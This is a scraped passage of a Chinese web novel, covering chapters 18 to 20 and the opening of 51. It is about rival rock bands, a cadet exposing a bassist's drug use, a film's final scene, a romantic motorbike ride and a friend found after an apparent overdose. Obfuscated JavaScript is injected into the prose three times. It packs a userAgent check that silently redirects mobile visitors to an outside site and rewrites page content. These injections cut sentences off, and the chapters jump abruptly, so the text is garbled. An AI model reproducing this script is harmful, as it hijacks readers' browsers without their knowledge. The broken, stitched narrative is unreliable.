“我想要查清真相,我怀疑爸爸不是没有逃出去,而是被谋杀的。”迟天境抱着尧新雪的手在说出这句话时一瞬间收紧,他闭上眼睛,感到眼眶的干涩, “我想做一个好警察,我想知道他的死的真相。” 他的话音很轻,语气却极为坚定。 尧新雪轻轻地眯了下眼睛,不动声色地勾起唇角,带着或讽刺或怜悯的意味。 然而很快他就温柔地用没拿烟的手拍拍迟天境的背当作安慰:“你会的,祝你能查清真相。” “嗯,好。”迟天境低声应道。 “哭鼻子了吗?”尧新雪捏住他的脸,眼神带着温柔的、戏谑的意味。 “没有。”迟天境笑了,这句打趣的话让他一瞬间回神,尧新雪此刻温和的声音提醒着他:迟天境现在不在太平间里,那个七岁的孩子现在也已经长大了。 “那就去帮我买杯柠檬水吧,已经九点了,”尧新雪贴着他的耳侧轻声说,“我要去洗个澡。” “还需要什么吗?” 迟天境的耳朵再一次通红,他的视线眷恋般从尧新雪的眼睛落至尧新雪的嘴唇,很快就意识到尧新雪想喝柠檬水是因为自己,于是着急忙慌地跳了起来。 他匆促地穿好衣服,回过头,只看到尧新雪将身下的被子拉高了一点,遮过腰,低声笑道:“还有治腰痛的药。” “好,我现在就去。”迟天境几乎是踉跄着从满地狼藉里跑出房外,仿佛迟走一秒,就会暴露什么。 直到走到酒店的门口,迟天境过快的心跳才有所缓和。他想起昨晚的荒唐,就格外不好意思,连走路都有些轻飘飘的。 买完柠檬水之后,迟天境又去药店仔细挑选了好几款药膏,顶着店员炽热的八卦的目光,他边脑门冒着烟囱,边僵直地走了出来。 回到酒店时,已经是早上九点半,迟天境提着一堆东西,走在走廊上。他走得有些快,因为想见到尧新雪;某几分钟又会慢下脚步,苦恼地皱眉,因为不想尧新雪走太早。 他的心情此刻仿佛游乐园里左右大幅摇晃的摇摆锤。 这个时间点,恰好是很多人退房的时间,出于长期有意识的会仔细观察路人的习惯,迟天境本能地留意起每一个人的表情、衣着和行为。 他在警院的成绩出类拔萃,这一切都可以归功于他自己平时有意识的训练和学习。 一个女人正好从旁边的房间里走出来,她不耐烦地冲房间里的人骂了一句,然后“砰”地关上房门。迟天境恰巧路过,就在这简单的一瞥里,他的心猛地一震,仿佛被一口钟撞了一下。 二十六岁至三十岁,从事的工作应为文职,有喝酒和抽烟的习惯,性格比较开朗。 短短几秒,迟天境看着她迅速地在心里下了一个定论,当他审视的目光扫过女人留有烧伤的食指和深陷的眼窝时,一种强烈的、不详的预感就这样浮上心头。 下一秒,他就猛地攥住了那个女人的手臂。 “你干什么啊你!你谁啊!别他妈拽着我……”女人被他突然的动作吓一跳,下意识地喊叫道,拼命地挣脱着,奋力试图抽出的手臂甚至发出可怕的咔咔声。 然而迟天境牢牢地攥着她的手臂不放,固执地、强硬地控制住她的动作。 他在那一刻仿佛失去了所有绅士风度,猛地拉开女人努力遮掩手臂的包,在看清她手臂内侧多处针眼和溃烂的皮肤时,迟天境咬牙切齿地笃定道:“你吸毒了。” 女人听到这句话,身体本能地一缩,迟滞的眼睛眨了好几次,慌张地用高跟鞋踹迟天境:“你乱说什么呢,别拽着我,我要喊人了,快放开我!” 她的高跟鞋既细又尖,踩在人脚背上的疼痛可想而知,然而迟天境仿佛感觉不到痛似的,脸色只是沉下来。 他不顾女人歇斯底里的叫喊,只是冷漠地扣着她的手,粗鲁而快速地敲响面前的房门。 房内的人听到敲门声,不耐烦地应了声,终于懒洋洋地拉开了门。 那是一个骨瘦如柴的男人,上半身没有穿衣服,半开着门时侧身挡着房间内的光景。他的瞳孔扩大,精神似乎过于亢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“你们现在已经被逮捕了,我会报警的。”迟天境深深地呼吸着,他处于极端愤怒的状态,眼神却是冷的。他的眼睛泛红,在多次深呼吸之后,终于缓缓地平静了下来,拿出手机迅速地报了警。 在确认他们不能逃跑之后,迟天境终于打开了房门。 过大的动静惊扰了其他房客,不少人围在房间的门口往里面探着脑袋,投来畏惧又好奇的目光。 “怎么回事,是不是有人死了?” “出人命了,肯定出人命了,我听到了惨叫……” “报警吧,快报警……” …… 酒店的经理和服务员匆匆赶来时,被这场景吓一跳,他们看着迟天境,害怕得双脚发颤:“你,你干什么,我们已经报警了……” “我已经报警了,他们吸毒了。”迟天境冷淡道,他没有在意其他人叽叽喳喳的交谈,只是恪尽职守般守在这个房间里。 警笛在楼下响起,警察们很快就到,简单了解情况之后,迟天境被要求跟着回去做笔录。 等迟天境走到走廊上,看到药和柠檬水全散落在地上,他才缓慢地意识到自己做了什么,从这过度的愤怒中冷静下来。 他想起还在等着自己的尧新雪,过快的心跳终于慢慢地平复,耳边尖锐而持续的尖叫仿佛终于停了。迟天境一下子有些手足无措,当他抬起头,望向周围时,混乱嘈杂的人声终于变得真实,他的耳边也如愿般清晰地捕捉到尧新雪的声音。 尧新雪就站在不远处,他靠着门边,挑眉扬声道:“天境?” 他站得不远,还穿着浴袍,像是刚洗完澡,蓝灰色的长发还是湿漉漉的,看着迟天境的眼神只是有些讶异。 迟天境很想上去拥抱他,却又觉得自己现在的手可能很脏,只好在众人探究的目光里走向他,快速地解释道:“对不起,柠檬水撒了,我回来的路上碰到了点事,马上就要走……现在可能很难向你解释清楚。” “没关系,你去吧,注意安全。”尧新雪用手背蹭了蹭他冰冷的脸,抬了抬下颌示意无所谓,目光恰好落在那个被铐上手铐的男人身上。 男人仍然痛得皱眉,听到了熟悉的声音,却还是猛地抬头,他循着声音的源头,准确无误地和人群之外的尧新雪对上眼神。 在两个人视线相交时,男人的瞳孔猝然放大。 混乱嘈杂的人群中,只有尧新雪安静地、温柔地注视着他,仿佛和周围的一切都格格不入,干净得不可思议。 男人却在那个瞬间看懂了尧新雪说的是什么。 那个漂亮的、熟悉而陌生的男人只是带着温柔的笑意,无声地看着他说:再见。 这天下午,焚星乐队因为贝斯手江楼吸毒被捕,彻底丧失了比赛资格。 黑羊乐队成为了这次摇滚比赛的冠军,在数百支乐队里脱颖而出,夺得了与指针音乐签约的机会。 19. 第 19 章 宋燃犀为了拍《罪爱》这部电影,把白天的兼职都推得差不多了,每天都呆在片场里,没空看手机,知道外面的消息总比别人晚个一两天。 这部电影的导演名叫许弋,是个刚毕业的学传媒的大学生。他身兼导演、剪辑和后勤,头发棕棕的,是个天然卷,还戴着一副高度数的黑框眼镜,学生气十足。这部电影拍了整整六个月,因为没有钱,大多时候他都穷得付不起演员们的工资,都是宋燃犀帮着他垫付的。 所以宋燃犀演部电影非但没有工资,还要自己倒贴。 宋燃犀曾经非常不能理解,为什么许弋非要拍部文艺片而不是商业片,连制片都拉不来,先别说院线会不会给他排片,就说要是真排上了,除了还处于青春叛逆期的少男少女,到底有谁会为了这部电影买票进电影院。 许弋伸出一只手竖在宋燃犀的眼前晃了晃,然后嗤笑着他的肤浅和无知:“我们这部电影不是为了拿到什么级别的票房,而是为了拿金棕榈奖。” 这个年轻的男孩亢奋得看起来实在有些像精神失常,指着宋燃犀说:“你,会是今年戛纳的最佳男演员。”他踮着脚转了个圈,然后指向远处正在化妆的女人,笑着说:“莉莉姐会是最佳女演员。” 他跳舞似的转回到宋燃犀面前,卷着剧本骄傲地拍拍胸膛:“而我,会是戛纳的最佳导演,最佳编剧。” 宋燃犀无言以对,翻了个大大的白眼推开他:“受不了自恋狂了。” 许弋被推得踉跄了几步,推了推眼镜,看着宋燃犀走向女演员交谈戏份的细节时,为这人的口是心非笑了。 毫无疑问,宋燃犀是个合格的、甚至可以说是优秀的演员。他在选角时就表现出了惊人的演技,气质、神态,无一不和许弋剧本的男主角相吻合。 宋燃犀在最后签下合同的时候,粗鲁地揪住许弋的衣领,勾着唇角压低声音道:“许导才应该去演戏,虚张声势,其实口袋里没几个钱,你骗人家给你打工,就不怕被告穿底裤啊?” “那我就是为艺术献身,何其荣幸。”许弋神棍似的晃了晃脑袋,他戳戳宋燃犀的心口,“你来,你当然也与有荣焉。” “有病,”宋燃犀冷笑了一下,“我来是因为你剧本写得有两把刷子,到时候你被告了我也是受害者,赔十年你也得赔给我,横竖我也不吃亏。” “呵呵。”许弋皮笑肉不笑。 两人就这样心怀鬼胎地每天在片场里持续一起工作十个小时,莫名其妙地成为了知己损友。 而如今,也终于到了最后一段戏。 剧本里,陆小河在准备吃晚饭前,和父亲产生了争吵。这次的争吵尤为激烈,因为他的父亲刚喝完酒。 酒精让愤怒被无限放大,这个男人在陆小河连连的顶嘴下,终于忍不住狠狠地扇了陆小河一巴掌。陆小河被过大的力度打得脑袋猛地偏过去,他在转过头的一瞬间眼冒金星,感到滚烫的血如同虫,流过他的皮肤。 陆小河的身体摇摇晃晃,在持续的耳鸣中踉跄着站直,手撑在旁边的木桌上。当他摇摇脑袋,只能在旁边的玻璃窗上看到自己的身影……以及远处惊愕、害怕的女人——那是他的继母。 一时,他竟有些茫然。 在转过头,目光越过高大的父亲,落在她身上时,陆小河迟缓地看清了她眼中的恐惧和痛苦。他的手在桌上颤抖着摸索,终于摸到了一把水果刀。 他将在短短几秒内,以出人意料的方式将这把刀利落地、不带任何犹疑地送进父亲的身体,完成弑父的仪式。 这个段落在两人的几句争吵之后将会进入完全无声的对手戏,宋燃犀需要用微表情展现出“陆小河”这个角色心理活动的变化,摇晃的模糊的廉价镜头将间或地模仿他的视线,这也是许弋最看重的一段分镜。 “真打,别留力,总不能让我多挨几个巴掌吧。”宋燃犀面对着饰演陆小河父亲的男人笑着说,对方有些不敢,将求救的目光落在许弋身上。 许弋则坐在远处,拿起大喇叭,敲了敲自己屁股下的小板凳后对着他们喊:“打,狠狠地打他,打完我们就能早点收工啦。” 宋燃犀毫不留情地转头骂他说:“许弋给我闭嘴。” 演员们短暂的协商之后,摄影机终于被按下。 宋燃犀听到“父亲”的声音,只是敷衍地回应着。他穿着有些发黄的高中校服,裤脚处露出一节脚踝。 这个家庭并不算富裕,只能算是中产。因为父亲长期酗酒,收入并不稳定,继母只能做些粗糙的针线活补贴家用。 老式的居民楼还原了上个世纪的质感,潮湿的空气与踩过去会吱呀作响的木质地板,无不昭示着他们的困境。但继母仍然在他放学回到家前准备好了热腾腾的饭菜,对父亲的反感和对继母的怜惜、隐约的爱恋,都将分别作为砝码安置在陆小河心中的天平上。 一句语气稍硬的问话就会成为导火索。 “你为什么又去打架,你他妈知道我为了让你读书付出了多少吗?”父亲的语气很冷。 “不知道,我只知道你每天都在喝酒。”他冷漠地看着眼前高大的男人,只是将书包轻轻挂在了椅背上。 “你现在对我是什么态度,你吃我的穿我的,你还记得我是你的老子吗?!”男人被他的神情激怒,往前两步拔高了声音,面对着他唾沫飞溅。 “陆小河”扯了扯嘴角,眼底露出一丝讽意、厌恶以及一览无余的失望。 “看看你这副样子,你妈死了你就也这副死样……” “闭嘴,闭嘴!”陆小河的眼睛红了,他仿佛一瞬间被激怒,如同炸毛的猫,全身的毛都竖起,“你凭什么这么说,她快死的时候你在哪,你只知道抱着你的酒瓶,如果不是你,她就不会……” 啪————! 仿佛情绪到达了顶点,男人毫不犹豫地甩了一巴掌过去,他涨红了脸,少年愤怒的声音也在那一瞬间戛然而止。一时间,这里只剩下了男人拉风箱似的沉重的呼吸。 在这短短的几秒内,摄像机给予了宋燃犀放大的单独的特写。 他的瞳孔甚至微微颤抖,唇角始终紧紧地抿着,恐惧、不敢置信、憎恨、愤怒,复杂的情绪交杂着在他的面孔上演。 镜头是轻微摇晃着的,和他勉强扶住餐桌站起的动作相呼应。“陆小河”一只手试探着抹过人中,蹭着上面的血,脸上火辣辣的痛感使他抽搐般几次动着头和脖子,眼眶几乎要流出生理性的泪水。 然而当他勉强地抬起头时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15748518|174214||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,他的目光缓缓聚焦,看清的人却是男人身后震惊、害怕得肩膀发颤的继母。 “陆小河”的眼睛眨得极慢,仿佛要确定她并不是幻觉,温暖的橘黄色的灯光笼在她的身上,在他模糊的视线里,美好得不真实。 但他很快就看清:她的表情其实是恐惧的、痛苦的。 撑在桌上的右手开始颤抖,手臂的青筋甚至因为肌肉过于紧绷而浮现,动作狂乱得仿佛此刻过快的心跳,当手指触碰到冰凉的刀具时,“陆小河”毫不犹豫地握在手里,并将它猛地插进眼前人的心口。 他的表情在那一瞬间几近淡漠、冷酷,只有眼神一闪而逝的痛苦展现出他此时此刻内心的绝望和崩溃。 “父亲”惊愕得睁大了眼睛,他张开了嘴唇,喉咙里发出可怕的咔咔声,却什么都说不出口,在抽出那把刀时,他只有笔直地倒向“陆小河”。 如同一座山倒下,“父亲”的尸体沉重地压过来,“陆小河”被压在身下,他精疲力竭似的倒在了地板上,胸口的位置被鲜红滚烫的血染红。 炫目的灯光如同光点,闪在他的眼前,他只是出神般睁着眼睛,一切都摇摇晃晃,如同水面上的月亮。 继母哭着跑向了他,将他身上“父亲”的尸体推开,她伏在他的身上,止不住地哭泣。 “陆小河”听到哭声,眷恋般将目光落在了眼前人的身上。 她泪流满面,不住地亲吻着他冰冷的脸颊和手。她苍白的嘴唇很快就因此沾上了红色的血,如同在吃着“陆小河”的血肉。 月光穿过窗,无声地照亮他们的身影,仿若探照灯照过杀人现场里仅剩的幸存者。 月色、长发、双手。 宋燃犀在这一秒里想到了尧新雪。 他想起黑羊四进二那一晚,他们坐在破旧出租房的窗台上作简单的庆祝。 那时候,尧新雪整个人仿佛和漫长的黑夜相融,然而由于他那温柔的神情以及宋燃犀下意识的信任,他更像是黑夜里唯一的一轮月亮。 许弋在剧本里曾经写过一句话,后来又被删改。 女人原本应该这样低哑地对着她年少的情人说:我在这一分钟里永远爱你。 在众目睽睽下,宋燃犀此刻却无声地流下了眼泪。他没有回应女人的举止,只是安静地哭着。 这是电影的幕终,却没有人喊咔,所有人都在此时都保持了静默,被眼前的一幕强烈地震撼着。 原本的剧本并没有安排陆小河的流泪,这里是宋燃犀的即兴发挥,却完成了角色的升华。 许弋很久之后才喊了“咔”,零散的几个工作人员也在这时不约而同鼓起了掌。 宋燃犀站起来,有些不好意思地擦了擦眼泪,他先是机械而谦虚地说谢谢,然后才走向许弋,接过许弋递过来的纸巾和手机,随意地抹了抹脸上的血。 许弋似笑非笑地问他:“刚刚想起谁了?一下就掉眼泪了。” “滚,那是你爹我的演技。”宋燃犀若无其事地回答道。 “对了,你刚刚的手机震了一下,好像是条特别关注的消息。”许弋没再追问,只是提醒道。 宋燃犀没看手机,只是“哦”了一声。 啊,他成功了。宋燃犀心想。 20. 第 20 章 杀青之后,宋燃犀只跟许弋打了声招呼就跑着离开了片场。 他身上还穿着“陆小河”脏兮兮的校服,抓了许弋的机车钥匙拔腿就跑,许弋追都追不上。 “宋燃犀!宋燃犀!我服了……”许弋气喘吁吁地追到门口,看着他草草地戴上头盔,长腿架在地上,拧动钥匙。 “明天就还给你,走了。”宋燃犀看了眼油表之后毫不犹豫地开着车往前冲,风灌进他的胸口,也将许弋的声音全部落在了后面。 宋燃犀对机车显然相当熟练,顶着交警的虎视眈眈与旁边开车人畏惧又无语的眼神,面无表情地将这辆破烂得叮当作响的车停在了红灯前。 当车“招摇过市”,终于有惊无险地停在出租屋楼下时,宋燃犀看到了熟悉的车牌号。 那是一辆酒红色的法拉利,这里几栋居民楼都无法抵上它的价格。 宋燃犀叹了口气,把机车停好之后,就颇为绅士地敲了敲法拉利的窗。 “咳咳,您好,这里不方便停车……”他装模作样地说,然而在车窗降下来的一瞬间,女人惊喜的声音还是让他的神情一瞬间温柔下来。 “小犀!”应怜笑着说,她忙开门走下来,宋燃犀则在她走下来的那一刻自觉站直了。 宋燃犀自然而然地挽起她的手,假装抱怨道:“你来怎么不跟我说一声啊,我都没做什么提前准备。” “因为我就是要搞突然袭击啊!”应怜温柔地一笑。 宋燃犀不动声色地打量着他的妈妈,即使应怜此时已经年近五十,却更像是三十多岁的女人。因为被保护得很好,且保养得当,她的脸上几乎没有岁月留下的痕迹。 “怎么穿这样的衣服啊?”应怜拉着宋燃犀的手,慢慢地走在生锈的楼梯上。 宋燃犀说:“刚拍完戏,赶着回来就没换。” 应怜的目光扫过宋燃犀那还沾着油渍的袖子,意识到这件校服很可能是某个高中生毕业后卖给他们的,她的眼底闪过一瞬间的低落,语气却仍然轻松:“赶着回来见谁啊?” “当然是我的母亲大人了,我早有预感你会来,所以马不停蹄地赶回来。”宋燃犀面不改色地扯谎,他开门时没看到尧新雪时,一阵失落涌了上来。 他给应怜倒茶,然后又给小房子加了点猫粮,因为知道应怜怕动物,他把小房子关进了笼子里。小房子可怜地趴在笼子里喵喵地叫,然而主人熟练地装作听不见。 “最近会降温,够不够衣服穿?被子这么薄,你晚上怎么睡?”应怜摸了摸他随手放在床上的衣服,又摸了摸宋燃犀的被褥,她不看宋燃犀,却说着说着眼睛就红了。 “妈,我有厚衣服,还有一张毛毯放在衣柜里,冷不着的。”宋燃犀蹲在她面前,握住她的手哄道。 “那吃得好吗?你瘦了这么多,还晒黑了。”应怜偏过头问,她的手被宋燃犀捂暖,宋燃犀的手已经比她的大很多了。 “吃得当然很好啊,每天一荤一素还有汤,长高了就瘦了。我都二十一岁了,是个成熟的男人,黑点才好啊,我又不是小白脸。”宋燃犀调侃道,他看着应怜的眼睛,语气忍不住放轻,“妈,我过得很好,你别担心。” “一房一猫,刚拍完一部戏现在准备休息,日子很滋润啊。”宋燃犀接着说。 应怜却说不出“好”,她只是抱着宋燃犀毛绒绒的脑袋轻声说:“我这次来给你带了些药,你的药我估计也差不多吃完了,医生说你心脏的问题,药还不能断。” 宋燃犀刚想开口拒绝,应怜却早有准备似的柔声道:“别拒绝妈妈好吗?普通家庭,父母知道孩子生病,给孩子送药也是很正常的吧。” 宋燃犀张了张嘴,最后“嗯”了一声。 “我最近已经劝过你爸爸了,他松口了,我们一起回去好不好,你做什么妈妈都支持你,演戏也好,什么都行,妈妈都支持你。”应怜接着说。 宋燃犀却笑了,他叹了口气后说:“哎别骗我了,老爹的心思我还不知道吗,我什么时候能在外面闯出个名堂,他什么时候才肯让我回家。” 应怜哑口无言,只好转移话题说起了家常话。 直到夕阳西下,宋燃犀扯了不少谎把她哄好,应怜才松口准备自己回家。 宋燃犀站在路口,直到看着她坐上法拉利,车消失在视野尽头才转过身,准备上楼。 而他不知道的是,应怜在后视镜里看着他日渐变小的身影,终于忍不住哭了出来。 司机惊愕地回头,只听到她小声啜泣着说:“小犀他其实过得不好。” 宋燃犀回到房间之后,把小房子抱在怀里倒头就睡,猫挣扎不出他的怀抱,只能无奈地趴在他胸口上一起睡。 宋燃犀做了一个极短暂的梦,他梦到了十四岁,自己站在戛纳颁奖台的那一刻。 一切仿佛都是真的,每一个细节都在他的脑海里准确无误地复现,他清楚地听到主持人是如何说着:“宋燃犀成为了戛纳国际电影节史上最年轻的影帝。” 璀璨的灯光与永不休止的掌声,世界为他一个人献上了这无上的荣耀。 那一刻的快意、骄傲令宋燃犀沉醉至今,以至于当父亲宋洲听到他之后要去演戏,而不是继承价值千亿的公司时,他仍然固执己见,毫不犹豫地出走,口出狂言着自己不需要这些。 他十八岁和宋洲决裂,宋洲冻结了他名下的所有资产,并给导演、经纪公司及资方施压,他原本应该一路风顺的演艺之路就这样被拦腰截断。 然而宋燃犀太犟了,他哪怕到只能在话剧院打工做龙套也不愿意向宋洲低头,也拒绝了来自应怜的所有帮助,就这样从一个家财万贯的少爷落到一无所有的穷小子。 宋燃犀醒来,是因为听到了开门的声音。 他猛地坐了起来,揉了揉脸才意识到,自己又梦到了很久以前的事。宋燃犀摸了摸自己的心口,感觉到空落落的,他看着应怜放在桌上的药,有些出神,许久之后才把猫放走,然后喝了几口水试图冷静下来。 他心不在焉地玩了会桌上的东西之后,耳边听到隔壁传来的隐约的说话声。 尧新雪像是在打电话,对着电话那边说:“好啊,今晚九点到十点,我应该会在家,那时候你再来吧。” 捏着杯子想了一会,在确定没有尧新橙的声音之后,宋燃犀走过过道,不轻不重地咳了声。 尧新雪似乎还穿着演出的服装,这件衣服和他第一次上台的衣服一模一样——黑色高领的短上衣,右边为无袖,左边则为长袖,小腹处仅有交叉的扣带作为修饰。 注意到宋燃犀,尧新雪只和对面说了几句之后就挂了电话。他似乎有些疲惫,却明显地心情愉悦,挑眉看着宋燃犀,问道:“怎么了?” “想不想跟我去骑车?”宋燃犀问道。 他注意到尧新雪的目光玩味地扫过自己身上的校服,然后笑着问:“高中生带我骑车?自行车吗?” 宋燃犀被他轻飘飘的语气弄得面红耳赤,第一次感到有些窘迫,不得不硬声道:“机车!!我现在就去换衣服!!!” “好啊,小宋同学。”尧新雪忍不住笑道。 宋燃犀气呼呼地跑回自己的房间换衣服,仿佛生怕尧新雪反悔,他换得很快。在他匆匆地把自己套进一件短袖和蓝色牛仔裤后,宋燃犀鬼使神差地凑到镜子前端详起自己的脸。 看了三秒之后,他啧了声:帅!实在是太帅了! 尧新雪既没有问宋燃犀要去哪,也没有问机车是哪来的,他只是系着头盔的系带,然后安分守己地抱住宋燃犀的腰。 尧新雪好像是真的累了,他如同没骨头的猫,就着这个姿势趴在宋燃犀的背上,把下颌垫在宋燃犀的肩上,也不说话,只是靠着,宋燃犀甚至以为他快要睡着了。 直到车驶上城郊的公路,尧新雪才开口说:“我很久以前,听过一个故事。” 宋燃犀随口问:“什么?” 机车不断地被他提高速度,平坦的公路在视野里无限地延伸仿若没有尽头,道路的两边尽是野草,除了他们以外,似乎已经没有任何人了。 尧新雪注视着后视镜里宋燃犀的脸庞,轻声道:“从前有一座很高很高的山,一只小狐狸想要爬这座山的山顶,然而从来没有一只狐狸爬上去过。所以也没有人觉得这一只狐狸就能够实现,但它并不沮丧,而是一点一点地爬着。 它从春天走到冬天,一路上喝着溪水,吃着从树上掉落在地上的果实,也在旅途中结交到了好朋友。 有一天它走到了一条大河旁,急流之上只有一棵快要断掉的木头可以作为桥通过,只能容许一只小动物通过。恰好这时来了一只浣熊,浣熊也希望走上这棵木头,并且不愿意让给狐狸。” 天空在此时下起了雨,宋燃犀却没有减速,反而不断地拧动油门把手提速。冰冷的雨水瓢泼着落下,尧新雪的长发如同卷起的海浪。 不得不抱住宋燃犀腰部的姿势令尧新雪愈发感到宋燃犀身体的炙热,在油门的轰鸣声与车轮碾过水潭的声音里,尧新雪却仿佛听见了皮肤、血肉与骨骼之下,宋燃犀清晰而有力的心跳。 扑通、扑通、扑通。 尧新雪抱住他的手不着痕迹地收紧,像是一种明确的占有。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15748519|174214||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >在黑羊最后一场演出结束之际,焚星乐队的队长王允就在休息室里大发雷霆。他如同一条愤怒的狗,将休息室里的东西全部推倒在地上,并狠狠地一拳砸上了墙。 “江楼个癫子,我跟他说过多少遍要戒掉了,偏偏是这个时候!”他怒火中烧,其他人都低着头不敢说话。 以尧新雪为首的黑羊乐队下场时恰巧路过休息室。尧新雪只记得自己当时同样保持着礼貌的微笑,轻轻敲了敲休息室的门,王允就这样红着眼睛将恼火的目光转向他。 “很抱歉打断你,王允队长。但是主办方想让我来提醒你,不要因为过度愤怒就砸坏东西,毕竟……”尧新雪好脾气地笑了笑,“毕竟影响不好,总是得不偿失,对吧?” 他说这句话的样子称得上温柔绅士,眼底的情绪却幽微得深不可测,似乎总有着些许居高临下的怜悯。 无边的雨落下来,千万滴水珠坠落着倒映着千万张面孔,其中一滴划过宋燃犀的头盔,让他不由自主地眨了眨眼睛。 “然后呢?狐狸怎么样了?”他问,仿佛对尧新雪的断章很有意见。 “然后一颗苹果突然从树上掉下来,浣熊为了拿到这颗红得熟透的苹果,居然跳进了河里,狐狸就这样走过了桥。”尧新雪回答道,他的声音不带波澜,似乎无所谓着自己给出了一个草率且敷衍的结局。 “坏狐狸。”宋燃犀嗤笑道。 “为什么?狐狸什么都没做。”尧新雪挑起嘴角。 “因为我不信是天上掉下来的苹果,我只信是狐狸做的小把戏。浣熊遇人不淑,偏偏遇到了狐狸,就注定了没有好结局。” “你在说什么啊?”尧新雪嘴角的笑意更深了。 “因为狐狸就算自己的尾巴断了,耳朵缺了,腿瘸了也还会想要爬到山顶,一只挡在路上的浣熊算得了什么呢?狐狸一定会干掉他的。”宋燃犀回答道,他透过后视镜想要看尧新雪,却因为头盔的遮挡始终看不清尧新雪的表情。 他只在呼啸的风声中听见尧新雪喃喃道:“是啊,狐狸就算尾巴断了,腿瘸了也会想要爬道山顶的。” 车停了下来,这是城郊里被废弃的一座亭子,却因为海拔比较高,有着很好的视野,几乎能俯视整座城市。 和在宋燃犀房间里看到的天差地别,这里既没有散发着恶臭的垃圾场,也没有近处清晰可见的写满脏话的墙。整座城市在此刻亮起,如同分散的光点。因为下雨,空气极其潮湿,草木的气味也格外明显,隐隐约约能听到远处的猫叫和汽车的鸣笛。 尧新雪享受般闭上了眼睛,他撩起一绺长发然后夹在耳后,再次睁开眼时宋燃犀已经不自觉地向他走近。 宋燃犀看着面前眼睛微微眯起的尧新雪,想到刚刚来路上的故事。从十八岁离家出走至今,再也没有人比他更清楚,一无所有地要“爬到山顶”是多么困难。 因为“苦心人,天不负”的古语从来没有在他身上应验过。 所以宋燃犀不会指责狐狸,他清楚狐狸可以为了爬到山顶付出多少,也知道即使是付出诸多也不会得到相应的回报。 只是于他而言,在和浣熊竞争一条唯一的路时,他也只会选择让步换一条路走吧。 宋燃犀并不清楚黑羊乐队在夺冠路上经历了什么,但抱着心照不宣的默契,他忍不住扬起一边眉说:“恭喜黑羊夺冠啊,狐狸队长。” “也恭喜你杀青,半年了吧?”尧新雪笑了下,他并没有因为宋燃犀的靠近而后退,只是站在原地。 “是啊,我们也认识半年了。”宋燃犀心不在焉地说,他没有去看尧新雪的眼睛,只是把目光落到了尧新雪的嘴唇上。 “为什么来这里呢?”尧新雪问,他的唇因为被雨淋湿,仿佛笼上了一层水光。湿漉漉的长发贴着他的身体,他如同刚从水池里走出来一样。 宋燃犀才注意到他的唇其实很薄,人们都说,嘴唇薄的人都很薄情。 可是那又怎么样呢?宋燃犀心想,他回答道:“你之前说我那里风景好,现在就想带你看风景更好的呗。” 他当时到底为什么要给我灌酒?为什么亲我?两个问题一下子又从宋燃犀的心底冒了出来。 就在他胡思乱想时,尧新雪却轻轻捏住了他的下颌,如同他心底里想的那样,吻了上去。 雨似乎越下越大了,他们站在废弃的亭子中央,却仍然浑身湿透。夜色使一切都蒙上了一层蓝紫调,宋燃犀半睁着眼睛,他心底忐忑着望着尧新雪近在咫尺的垂下来的长睫毛,忽然觉得鼻子很酸。 是尧新雪先亲上来的。宋燃犀的脑子里只有一个想法。 50-60 第51章 “喂,是120吗……这里有一个成年男性好像休克了,我需要……他怎么摇都摇不醒。” “请你冷静一点,告诉我你的位置。” …… 楚枕石哼着黑羊的新歌,一边背着手学着一个老头样,弓着背,颤颤巍巍地从藏在暗处密密麻麻的狗仔走过。他跑调得太厉害,演得也很逼真,以至于蹲守梅梢月一整晚的狗仔们都没有注意到这个行迹相当可疑的人。 楚枕石颤颤巍巍一点一点地挪到梅梢月小区的门口,一边从手上的小袋子里拿出一个温热的小笼包。 他咬了一口小笼包,然后头也不回,精准地往草丛里扔了过去:“大黄,赏你的!” “我草谁啊!没素质的老头,没事扔个吃过的包子干什么!”草丛里有人立刻站了出来,对着楚枕石的背影怒目圆瞪。 被问候了全家的楚枕石按下电梯,闻着手里包子的香味,有些惋惜:“哎,浪费了一个包子。” 他心情不错,想着太久没探望梅梢月,于是决定换个装来试一下。 楚枕石左顾右盼,敲了好几次门,然后又给梅梢月打电话,结果都无人接听。他啧了声,心想:不会真的睡这么死吧。 等了半个小时没等到人来开门,楚枕石就一把把自己的假发摘了,从地毯下摸出了一把备用钥匙。 当钥匙拧开门,楚枕石的声音依然愉悦:“小梅同志,你连门都没给你兄弟开,小笼包都要凉了……” 整个客厅都安静得近乎诡异,像是太久没有人打扫,空气沉闷,有着一股发霉的味道。 楚枕石的声音骤然刹住了,他的眉头轻轻地皱了皱。 将小笼包放在旁边的餐桌上之后,楚枕石径直地走向了卧室,卧室里是熟悉的声音,震耳欲聋的欢呼声与尧新雪清澈温柔的歌声从里面传出来。 “我说你怎么听不见,就算很喜欢黑羊,也不至于大早上就在看我们的录播吧……”楚枕石还在笑嘻嘻,他毫不顾忌地拉开了门,却看到了躺在床上、脸色灰败的梅梢月。 梅梢月穿着和尧新雪重逢时的那一套明黄色卫衣和浅蓝色牛仔裤,稚嫩而干净。他睡在床上,脸色灰败,像睡着了一样安静,哪怕电视开得这么响,也依然无动于衷似的。 楚枕石注意到床头柜上有好几瓶空了的药瓶。 